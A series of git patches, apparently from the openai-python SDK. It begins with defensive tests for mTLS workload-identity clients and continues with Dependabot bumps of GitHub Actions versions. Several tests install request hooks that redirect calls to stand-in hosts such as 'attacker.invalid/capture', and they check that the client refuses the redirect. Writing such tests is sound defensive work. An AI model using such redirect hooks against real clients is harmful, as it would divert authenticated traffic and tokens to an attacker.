+ workload_identity=_identity(), http_client=transport, base_url="https://custom.example/v1", max_retries=0
+ ) as client:
+ assert client.models.list().object == "list"
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, "https://custom.example/v1/models"]
+ assert requests[-1].extensions["sni_hostname"] == "private-pki.example"
+
+
+async def test_async_x509_preserves_explicit_sni_for_custom_origins() -> None:
+ requests: list[httpx2.Request] = []
+
+ async def hook(request: httpx2.Request) -> None:
+ request.extensions["sni_hostname"] = "private-pki.example"
+
+ transport = httpx2.AsyncClient(
+ transport=httpx2.MockTransport(lambda request: _record(requests, request)), event_hooks={"request": [hook]}
+ )
+ async with AsyncOpenAI(
+ workload_identity=_identity(), http_client=transport, base_url="https://custom.example/v1", max_retries=0
+ ) as client:
+ assert (await client.models.list()).object == "list"
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, "https://custom.example/v1/models"]
+ assert requests[-1].extensions["sni_hostname"] == "private-pki.example"
+
+
+@pytest.mark.parametrize("extension", ["sni_hostname", "target"])
+def test_sync_x509_rejects_conflicting_transport_extensions_on_openai_mtls_origins(extension: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ def hook(request: httpx2.Request) -> None:
+ request.extensions[extension] = "attacker.example" if extension == "sni_hostname" else b"https://attacker/"
+
+ http_client = httpx2.Client(
+ transport=httpx2.MockTransport(lambda request: _record(requests, request)),
+ event_hooks={"request": [hook]},
+ )
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="hostname|target"):
+ client.models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL]
+
+
+@pytest.mark.parametrize("extension", ["sni_hostname", "target"])
+async def test_async_x509_rejects_conflicting_transport_extensions_on_openai_mtls_origins(extension: str) -> None:
+ requests: list[httpx2.Request] = []
+
+ async def hook(request: httpx2.Request) -> None:
+ request.extensions[extension] = "attacker.example" if extension == "sni_hostname" else b"https://attacker/"
+
+ http_client = httpx2.AsyncClient(
+ transport=httpx2.MockTransport(lambda request: _record(requests, request)),
+ event_hooks={"request": [hook]},
+ )
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="hostname|target"):
+ await client.models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL]
+
+
+@pytest.mark.parametrize("mutation", ["transport", "mounts"])
+def test_sync_x509_rejects_request_hook_destination_changes_after_transport_replacement(mutation: str) -> None:
+ requests: list[httpx2.Request] = []
+ http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ def hook(request: httpx2.Request) -> None:
+ request.url = httpx2.URL("https://attacker.invalid/capture")
+ request.headers["host"] = "attacker.invalid"
+ replacement = httpx2.MockTransport(lambda redirected: _record(requests, redirected))
+ if mutation == "transport":
+ http_client._transport = replacement
+ else:
+ http_client._mounts.clear()
+ http_client._transport = replacement
+
+ http_client.event_hooks["request"].append(hook)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="configured API origin"):
+ client.models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL]
+
+
+@pytest.mark.parametrize("mutation", ["transport", "mounts"])
+async def test_async_x509_rejects_request_hook_destination_changes_after_transport_replacement(mutation: str) -> None:
+ requests: list[httpx2.Request] = []
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request)))
+
+ async def hook(request: httpx2.Request) -> None:
+ request.url = httpx2.URL("https://attacker.invalid/capture")
+ request.headers["host"] = "attacker.invalid"
+ replacement = httpx2.MockTransport(lambda redirected: _record(requests, redirected))
+ if mutation == "transport":
+ http_client._transport = replacement
+ else:
+ http_client._mounts.clear()
+ http_client._transport = replacement
+
+ http_client.event_hooks["request"].append(hook)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="configured API origin"):
+ await client.models.list()
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL]
+
+
+def test_sync_x509_does_not_traverse_unrelated_custom_client_state() -> None:
+ class UninspectableHistory(dict[str, object]):
+ @override
+ def values(self) -> Any:
+ raise AssertionError("unrelated application-owned request history was traversed")
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(_response))
+ vars(http_client)["request_history"] = UninspectableHistory({"nested": {"large": [object()]}})
+
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert client.models.list().object == "list"
+
+
+async def test_async_x509_does_not_traverse_unrelated_custom_client_state() -> None:
+ class UninspectableHistory(dict[str, object]):
+ @override
+ def values(self) -> Any:
+ raise AssertionError("unrelated application-owned request history was traversed")
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(_response))
+ vars(http_client)["request_history"] = UninspectableHistory({"nested": {"large": [object()]}})
+
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert (await client.models.list()).object == "list"
+
+
+def test_sync_x509_keeps_equal_http_clients_in_distinct_security_scopes() -> None:
+ class EqualClient(httpx2.Client):
+ @override
+ def __eq__(self, other: object) -> bool:
+ return isinstance(other, EqualClient)
+
+ @override
+ def __hash__(self) -> int:
+ return 1
+
+ first_requests: list[httpx2.Request] = []
+ second_requests: list[httpx2.Request] = []
+ first_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(first_requests, request)))
+ second_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(second_requests, request)))
+
+ def redirect(request: httpx2.Request) -> None:
+ request.url = httpx2.URL("https://attacker.invalid/capture")
+ request.headers["host"] = "attacker.invalid"
+
+ second_transport.event_hooks["request"].append(redirect)
+ with OpenAI(workload_identity=_identity(), http_client=first_transport, max_retries=0) as first:
+ assert first.models.list().object == "list"
+ with OpenAI(workload_identity=_identity(), http_client=second_transport, max_retries=0) as second:
+ with pytest.raises(OpenAIError, match="configured API origin"):
+ second.models.list()
+
+ assert [str(request.url) for request in second_requests] == [_TOKEN_URL]
+
+
+async def test_async_x509_keeps_equal_http_clients_in_distinct_security_scopes() -> None:
+ class EqualClient(httpx2.AsyncClient):
+ @override
+ def __eq__(self, other: object) -> bool:
+ return isinstance(other, EqualClient)
+
+ @override
+ def __hash__(self) -> int:
+ return 1
+
+ first_requests: list[httpx2.Request] = []
+ second_requests: list[httpx2.Request] = []
+ first_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(first_requests, request)))
+ second_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(second_requests, request)))
+
+ async def redirect(request: httpx2.Request) -> None:
+ request.url = httpx2.URL("https://attacker.invalid/capture")
+ request.headers["host"] = "attacker.invalid"
+
+ second_transport.event_hooks["request"].append(redirect)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=first_transport, max_retries=0) as first:
+ assert (await first.models.list()).object == "list"
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=second_transport, max_retries=0) as second:
+ with pytest.raises(OpenAIError, match="configured API origin"):
+ await second.models.list()
+
+ assert [str(request.url) for request in second_requests] == [_TOKEN_URL]
+
+
+def test_sync_x509_accepts_unhashable_custom_http_clients() -> None:
+ class UnhashableClient(httpx2.Client):
+ @override
+ def __eq__(self, other: object) -> bool:
+ return self is other
+
+ http_client = UnhashableClient(transport=httpx2.MockTransport(_response))
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert client.models.list().object == "list"
+
+
+async def test_async_x509_accepts_unhashable_custom_http_clients() -> None:
+ class UnhashableClient(httpx2.AsyncClient):
+ @override
+ def __eq__(self, other: object) -> bool:
+ return self is other
+
+ http_client = UnhashableClient(transport=httpx2.MockTransport(_response))
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert (await client.models.list()).object == "list"
+
+
+def test_sync_x509_preserves_caller_default_response_encoding() -> None:
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ return _response(request)
+ return httpx2.Response(200, request=request, content=b"caf\xe9", headers={"content-type": "text/plain"})
+
+ transport = httpx2.Client(transport=httpx2.MockTransport(handler), default_encoding="latin-1")
+ with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client:
+ response = client.get("/text", cast_to=httpx2.Response)
+
+ assert response.encoding == "latin-1"
+ assert response.text == "café"
+
+
+async def test_async_x509_preserves_caller_default_response_encoding() -> None:
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ return _response(request)
+ return httpx2.Response(200, request=request, content=b"caf\xe9", headers={"content-type": "text/plain"})
+
+ transport = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), default_encoding="latin-1")
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client:
+ response = await client.get("/text", cast_to=httpx2.Response)
+
+ assert response.encoding == "latin-1"
+ assert response.text == "café"
+
+
+def test_sync_x509_preserves_mounted_transports_and_restores_caller_configuration() -> None:
+ exchange_requests: list[httpx2.Request] = []
+ api_requests: list[httpx2.Request] = []
+ exchange_transport = httpx2.MockTransport(lambda request: _record(exchange_requests, request))
+ api_transport = httpx2.MockTransport(lambda request: _record(api_requests, request))
+ http_client = httpx2.Client(
+ transport=exchange_transport,
+ mounts={"https://mtls.api.openai.com": api_transport},
+ trust_env=False,
+ )
+ original_mounts = http_client._mounts
+
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert client.models.list().object == "list"
+ assert http_client._transport is exchange_transport
+ assert http_client._mounts is original_mounts
+
+ assert [str(request.url) for request in exchange_requests] == [_TOKEN_URL]
+ assert [str(request.url) for request in api_requests] == [_API_URL]
+
+
+async def test_async_x509_preserves_mounted_transports_and_restores_caller_configuration() -> None:
+ exchange_requests: list[httpx2.Request] = []
+ api_requests: list[httpx2.Request] = []
+ exchange_transport = httpx2.MockTransport(lambda request: _record(exchange_requests, request))
+ api_transport = httpx2.MockTransport(lambda request: _record(api_requests, request))
+ http_client = httpx2.AsyncClient(
+ transport=exchange_transport,
+ mounts={"https://mtls.api.openai.com": api_transport},
+ trust_env=False,
+ )
+ original_mounts = http_client._mounts
+
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert (await client.models.list()).object == "list"
+ assert http_client._transport is exchange_transport
+ assert http_client._mounts is original_mounts
+
+ assert [str(request.url) for request in exchange_requests] == [_TOKEN_URL]
+ assert [str(request.url) for request in api_requests] == [_API_URL]
From f6276194cda9b95499d3ebc3d6d013e730bf0490 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 27 Aug 2026 21:29:49 +0000
Subject: [PATCH 081/341] chore(deps): bump actions/download-artifact from
6.0.0 to 8.0.1 (#3669)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Bumps
[actions/download-artifact](https://github.com/actions/download-artifact)
from 6.0.0 to 8.0.1.
Release notes
Sourced from actions/download-artifact's
releases.
v8.0.1
What's Changed
Full Changelog: https://github.com/actions/download-artifact/compare/v8...v8.0.1
v8.0.0
v8 - What's new
[!IMPORTANT]
actions/download-artifact@v8 has been migrated to an ESM module. This
should be transparent to the caller but forks might need to make
significant changes.
[!IMPORTANT]
Hash mismatches will now error by default. Users can override this
behavior with a setting change (see below).
Direct downloads
To support direct uploads in actions/upload-artifact,
the action will no longer attempt to unzip all downloaded files.
Instead, the action checks the Content-Type header ahead of
unzipping and skips non-zipped files. Callers wishing to download a
zipped file as-is can also set the new skip-decompress
parameter to true.
Enforced checks (breaking)
A previous release introduced digest checks on the download. If a
download hash didn't match the expected hash from the server, the action
would log a warning. Callers can now configure the behavior on mismatch
with the digest-mismatch parameter. To be secure by
default, we are now defaulting the behavior to error which
will fail the workflow run.
ESM
To support new versions of the @actions/* packages, we've upgraded
the package to ESM.
What's Changed
Full Changelog: https://github.com/actions/download-artifact/compare/v7...v8.0.0
v7.0.0
v7 - What's new
[!IMPORTANT]
actions/download-artifact@v7 now runs on Node.js 24 (runs.using:
node24) and requires a minimum Actions Runner version of 2.327.1.
If you are using self-hosted runners, ensure they are updated before
upgrading.
Node.js 24
This release updates the runtime to Node.js 24. v6 had preliminary
support for Node 24, however this action was by default still running on
Node.js 20. Now this action by default will run on Node.js 24.
What's Changed
... (truncated)
Commits
3e5f45b
Add regression tests for CJK characters (#471)
e6d03f6
Add a regression test for artifact name + content-type mismatches (#472)
70fc10c
Merge pull request #461
from actions/danwkennedy/digest-mismatch-behavior
f258da9
Add change docs
ccc058e
Fix linting issues
bd7976b
Add a setting to specify what to do on hash mismatch and default it to
error
ac21fcf
Merge pull request #460
from actions/danwkennedy/download-no-unzip
15999bf
Add note about package bumps
974686e
Bump the version to v8 and add release notes
fbe48b1
Update test names to make it clearer what they do
- Additional commits viewable in compare
view
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
---
.github/workflows/python-version-review.yml | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/.github/workflows/python-version-review.yml b/.github/workflows/python-version-review.yml
index 6627c43a87..c0508e1d47 100644
--- a/.github/workflows/python-version-review.yml
+++ b/.github/workflows/python-version-review.yml
@@ -178,7 +178,7 @@ jobs:
issues: write
steps:
- name: Download the Codex assessment
- uses: actions/download-artifact@018cc2cf5baa6db3ef3c5f8a56943fffe632ef53 # v6.0.0
+ uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
with:
name: monthly-python-version-review
path: ${{ runner.temp }}/monthly-python-version-review
From d765db7e929e76fc9e7edcc3a058d723ec69ac51 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 27 Aug 2026 21:49:51 +0000
Subject: [PATCH 082/341] build(deps): bump actions/setup-python from 5.6.0 to
7.0.0 (#3672)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Bumps [actions/setup-python](https://github.com/actions/setup-python)
from 5.6.0 to 7.0.0.
Release notes
Sourced from actions/setup-python's
releases.
v7.0.0
What's Changed
Enhancements
Bug Fix
Dependency Upgrade
New Contributors
Full Changelog: https://github.com/actions/setup-python/compare/v6...v7.0.0
v6.3.0
What's Changed
Enhancement
Dependency update
Documentation
New Contributors
Full Changelog: https://github.com/actions/setup-python/compare/v6.2.0...v6.3.0
v6.2.0
What's Changed
Dependency Upgrades
... (truncated)
Commits
[](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)
Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.
[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)
---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Justin Beckwith
---
.github/workflows/ci.yml | 10 +++++-----
1 file changed, 5 insertions(+), 5 deletions(-)
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index d85bc1e060..33a04b060a 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -128,7 +128,7 @@ jobs:
run: uv run --locked --all-extras python scripts/utils/validate-httpx2-wheel.py
- name: Set up Python 3.9 for resolver rejection
- uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
+ uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: '3.9'
@@ -136,7 +136,7 @@ jobs:
run: python scripts/utils/validate-python-version-wheel.py --check-python-39
- name: Set up Python 3.14
- uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
+ uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: '3.14'
@@ -163,7 +163,7 @@ jobs:
- name: Set up Python ${{ matrix.python-version }}
id: setup-python
- uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
+ uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: ${{ matrix.python-version }}
@@ -195,7 +195,7 @@ jobs:
- name: Set up Python 3.14
id: setup-python
- uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
+ uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: '3.14'
@@ -291,7 +291,7 @@ jobs:
- name: Set up Python ${{ matrix.python-version }}
id: setup-python
- uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
+ uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: ${{ matrix.python-version }}
allow-prereleases: ${{ matrix.experimental }}
From dacbb6646d1b18257545dbb29badf8a9311ed0ae Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 27 Aug 2026 21:50:27 +0000
Subject: [PATCH 083/341] build(deps): bump pypa/gh-action-pypi-publish from
1.14.0 to 1.14.2 (#3666)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Bumps
[pypa/gh-action-pypi-publish](https://github.com/pypa/gh-action-pypi-publish)
from 1.14.0 to 1.14.2.
Release notes
Sourced from pypa/gh-action-pypi-publish's
releases.
v1.14.2
🛠️ Urgh… Another release!? Again? Explain yourself!
Looking at the diff, you'll only witness updates across the
dependency tree. That's it! It's not a security fix or anything like
that even, no. But you'll want this update.
[!tip]
So what most people will find useful is @takluyver💰's update of Twine to
v7 that we use internally (#416).
This version will let them upload their sdists and wheels containing
core packaging metadata v2.5 to (Test)PyPI.
🧐 Tell me why..
TL;DR non-pure-python projects with C-extensions tend to have dozens
(sometimes hundreds) wheels to upload to PyPI per release. They are
often quite big and take time to transfer over the network. People
started noticing problems and coming up with DIY sharding workarounds
like aio-libs/aiohttp#13226
around July 23.
On this date, projects with a good amount of bytes to publish would
start getting timeouts 5 minutes after the PyPI publishing job begun.
The same job that worked just fine before.
I had to start pinging upstream library and ecosystem people, on
GitHub and privately, to start making sense of what was happening.
Eventually, we collectively concluded that GitHub must've shortened the
lifetime of their OIDC identity — it seems to have used to be 10 minutes
long (at some point in the past) and is now 5 minutes, apparently. It's
not documented clearly, and we have not been able to get any clarity by
attempting to contact GitHub through private channels, using personal
connections.
Over the course of investigation, @facutuesca💰 found and fixed a
related underlying cache invalidation bug in sigstore/sigstore-python#1838,
which he then coordinated propagation through the dependency chain
updates in sigstore-python, pypi-attestations, gh-action-pypi-publish
and gh-action-sigstore-python.
Mike's also discovered that Sigstore's Rekor slowdown seems to have
become the main contributing cause of the last week's incident. He's
collected some data to support this claim: https://publishing-five-minute-timeout.tiiny.site.
🫶 New Contributors
🪞 Full Diff: https://github.com/pypa/gh-action-pypi-publish/compare/v1.14.1...v1.14.2
🧔♂️ Release Manager: @webknjaz
🇺🇦
🙏 Special Thanks to @davidbrochart💰 and @Dreamsorcerer💰 for turning my
attention (in #415
and in private) to the newly surfaced corner case in GitHub's behavior
that only affected a narrow category of projects while many others
remained blissfully unaware. @bdraco💰 came up with a DIY
sharding workaround for aiohttp that served as a demo for other
projects. @miketheman💰 confirmed the
Warehouse-side details. Also, @jku💰 and @woodruffw💰 helped work through,
review and release the Sigstore ecosystem upstream libs.
💬 Discuss on
Bluesky 🦋, on Mastodon
🐘 and [on GitHub][release discussion].
[![GH Sponsors badge]][GH Sponsors URL]
... (truncated)
Commits
dc37677
Merge pull request #417
from trail-of-forks/ft/bump-deps
8b2f234
Bump pypi-attestations and sigstore
78b72db
Merge pull request #416
from takluyver/twine-v7
92f4d2a
Update twine to v7
ba38be9
Merge pull request #408
from adisivaprasad/bump-setup-python-v6
a6c5088
Bump actions/setup-python from v5.6.0 to v6.2.0
- See full diff in compare
view
[](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)
Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.
[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)
---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
---
.github/workflows/create-releases.yml | 2 +-
.github/workflows/publish-pypi.yml | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/.github/workflows/create-releases.yml b/.github/workflows/create-releases.yml
index 20019676e9..244fd28cf4 100644
--- a/.github/workflows/create-releases.yml
+++ b/.github/workflows/create-releases.yml
@@ -84,4 +84,4 @@ jobs:
path: dist/
- name: Publish to PyPI
- uses: pypa/gh-action-pypi-publish@cef221092ed1bacb1cc03d23a2d87d1d172e277b # v1.14.0
+ uses: pypa/gh-action-pypi-publish@dc37677b2e1c63e2034f94d8a5b11f265b73ba33 # v1.14.2
diff --git a/.github/workflows/publish-pypi.yml b/.github/workflows/publish-pypi.yml
index ec496d4b13..61a0658f8d 100644
--- a/.github/workflows/publish-pypi.yml
+++ b/.github/workflows/publish-pypi.yml
@@ -56,4 +56,4 @@ jobs:
path: dist/
- name: Publish to PyPI
- uses: pypa/gh-action-pypi-publish@cef221092ed1bacb1cc03d23a2d87d1d172e277b # v1.14.0
+ uses: pypa/gh-action-pypi-publish@dc37677b2e1c63e2034f94d8a5b11f265b73ba33 # v1.14.2
From d0a25503498b51495aa4a1dbb97e616a24cd840e Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 27 Aug 2026 21:53:14 +0000
Subject: [PATCH 084/341] chore(deps): bump actions/checkout from 6.0.2 to
7.0.1 (#3665)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Bumps [actions/checkout](https://github.com/actions/checkout) from 6.0.2
to 7.0.1.
Release notes
Sourced from actions/checkout's
releases.
v7.0.1
What's Changed
Full Changelog: https://github.com/actions/checkout/compare/v7...v7.0.1
v7.0.0
What's Changed
New Contributors
Full Changelog: https://github.com/actions/checkout/compare/v6.0.3...v7.0.0
v6.1.0
What's Changed
https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout/
for more details about this breaking change
Full Changelog: https://github.com/actions/checkout/compare/v6.0.3...v6.1.0
v6.0.3
What's Changed
New Contributors
Full Changelog: https://github.com/actions/checkout/compare/v6...v6.0.3
Changelog
Sourced from actions/checkout's
changelog.
Changelog
v7.0.1
v7.0.0
v6.0.3
v6.0.2
v6.0.1
v6.0.0
v5.0.1
v5.0.0
v4.3.1
v4.3.0
v4.2.2
v4.2.1
... (truncated)
Commits
---------
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Justin Beckwith
---
.../workflows/castiron-custom-code-comment.yml | 4 ++--
.github/workflows/castiron-custom-code.yml | 2 +-
.github/workflows/ci.yml | 16 ++++++++--------
.github/workflows/codeql.yml | 2 +-
.github/workflows/create-releases.yml | 2 +-
.github/workflows/detect-breaking-changes.yml | 2 +-
.github/workflows/publish-pypi.yml | 2 +-
7 files changed, 15 insertions(+), 15 deletions(-)
diff --git a/.github/workflows/castiron-custom-code-comment.yml b/.github/workflows/castiron-custom-code-comment.yml
index e7218bcae0..793cc884d8 100644
--- a/.github/workflows/castiron-custom-code-comment.yml
+++ b/.github/workflows/castiron-custom-code-comment.yml
@@ -32,7 +32,7 @@ jobs:
budget: ${{ steps.budget.outputs.budget }}
steps:
- name: Check out the trusted reporter
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
ref: main
persist-credentials: false
@@ -183,7 +183,7 @@ jobs:
pull-requests: write
steps:
- name: Check out the trusted publisher
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
ref: ${{ github.workflow_sha }}
persist-credentials: false
diff --git a/.github/workflows/castiron-custom-code.yml b/.github/workflows/castiron-custom-code.yml
index 51bd5149aa..ccc25a623d 100644
--- a/.github/workflows/castiron-custom-code.yml
+++ b/.github/workflows/castiron-custom-code.yml
@@ -47,7 +47,7 @@ jobs:
> "$RUNNER_TEMP/castiron-custom-code/context.json"
- name: Check out the pull request
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
ref: ${{ github.event.pull_request.head.sha }}
fetch-depth: 0
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 33a04b060a..42277ec85d 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -30,7 +30,7 @@ jobs:
name: dependency lock freshness
runs-on: ubuntu-latest
steps:
- - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
@@ -73,7 +73,7 @@ jobs:
needs: dependency-locks
if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
steps:
- - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
@@ -100,7 +100,7 @@ jobs:
contents: read
runs-on: ubuntu-latest
steps:
- - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
@@ -155,7 +155,7 @@ jobs:
# Per-PR coverage protects both ends of the support window.
python-version: ["3.10", "3.14"]
steps:
- - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
@@ -187,7 +187,7 @@ jobs:
needs: dependency-locks
if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
steps:
- - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
@@ -224,7 +224,7 @@ jobs:
if: github.repository == 'openai/openai-python' && github.event_name == 'push' && github.ref == 'refs/heads/main'
steps:
- - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
@@ -252,7 +252,7 @@ jobs:
runs-on: ubuntu-latest
if: github.event_name != 'schedule'
steps:
- - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
@@ -285,7 +285,7 @@ jobs:
- python-version: "3.15"
experimental: true
steps:
- - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml
index 116c38362e..d189fda019 100644
--- a/.github/workflows/codeql.yml
+++ b/.github/workflows/codeql.yml
@@ -25,7 +25,7 @@ jobs:
steps:
- name: Check out repository
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
diff --git a/.github/workflows/create-releases.yml b/.github/workflows/create-releases.yml
index 244fd28cf4..c063f6aa9d 100644
--- a/.github/workflows/create-releases.yml
+++ b/.github/workflows/create-releases.yml
@@ -44,7 +44,7 @@ jobs:
contents: read
steps:
